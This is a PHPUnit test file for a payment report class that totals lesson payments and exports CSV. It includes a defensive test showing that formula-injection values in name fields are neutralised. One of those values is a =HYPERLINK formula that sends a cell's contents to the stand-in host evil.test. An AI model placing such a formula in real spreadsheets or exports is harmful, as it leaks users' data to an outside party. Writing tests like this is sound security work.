<?php
declare(strict_types=1);

namespace Unsupervised\Schedular\Tests\Unit\Payment;

use Unsupervised\Schedular\Payment\PaymentReport;
use Unsupervised\Schedular\Tests\Unit\TestCase;

class PaymentReportTest extends TestCase
{
    /**
     * @return list<array{date: string, student: string, instructor: string, method: string, status: string, amount: float, tax_rate: float, tax_amount: float, total: float}>
     */
    private function rows(): array
    {
        return [
            [
                'date'       => '2026-06-02',
                'student'    => 'Ada',
                'instructor' => 'Pat',
                'method'     => 'etransfer',
                'status'     => 'paid',
                'amount'     => 100.00,
                'tax_rate'   => 13.0,
                'tax_amount' => 13.00,
                'total'      => 113.00,
            ],
            [
                'date'       => '2026-06-09',
                'student'    => 'Grace',
                'instructor' => 'Pat',
                'method'     => 'card',
                'status'     => 'paid',
                'amount'     => 50.00,
                'tax_rate'   => 13.0,
                'tax_amount' => 6.50,
                'total'      => 56.50,
            ],
        ];
    }

    public function testTotalsAggregateAmountsAndTax(): void
    {
        $report = new PaymentReport($this->rows());

        self::assertSame(2, $report->count());
        self::assertSame(150.00, $report->totalAmount());
        self::assertSame(19.50, $report->totalTax());
        self::assertSame(169.50, $report->grandTotal());
    }

    public function testEmptyReportHasZeroTotals(): void
    {
        $report = new PaymentReport([]);

        self::assertSame(0, $report->count());
        self::assertSame(0.0, $report->totalTax());
        self::assertSame(0.0, $report->grandTotal());
    }

    public function testCsvIncludesHeaderRowsAndTotals(): void
    {
        $csv   = (new PaymentReport($this->rows()))->toCsv();
        $lines = explode("\n", trim($csv));

        // header + 2 data rows + totals row.
        self::assertCount(4, $lines);
        self::assertStringContainsString('"Date","Student","Instructor"', $lines[0]);
        self::assertStringContainsString('"Ada"', $lines[1]);
        self::assertStringContainsString('"Totals"', $lines[3]);
        self::assertStringContainsString('"19.50"', $lines[3]);
        self::assertStringContainsString('"169.50"', $lines[3]);
    }

    public function testCsvEscapesEmbeddedQuotes(): void
    {
        $rows    = $this->rows();
        $rows[0]['student'] = 'Ada "The Great"';
        $csv     = (new PaymentReport($rows))->toCsv();

        self::assertStringContainsString('"Ada ""The Great"""', $csv);
    }

    public function testCsvNeutralisesFormulaInjectionInNames(): void
    {
        $rows = $this->rows();
        $rows[0]['student']    = '=HYPERLINK("https://evil.test/?"&A1,"total")';
        $rows[0]['instructor'] = '@SUM(A1)';
        $rows[1]['student']    = "+1+2";
        $rows[1]['instructor'] = "\tcmd";
        $csv  = (new PaymentReport($rows))->toCsv();

        self::assertStringContainsString('"\'=HYPERLINK(""https://evil.test/?""&A1,""total"")"', $csv);
        self::assertStringContainsString('"\'@SUM(A1)"', $csv);
        self::assertStringContainsString('"\'+1+2"', $csv);
        self::assertStringContainsString("\"'\tcmd\"", $csv);
        // Safe fields are untouched.
        self::assertStringContainsString('"2026-06-02"', $csv);
        self::assertStringContainsString('"100.00"', $csv);
    }
}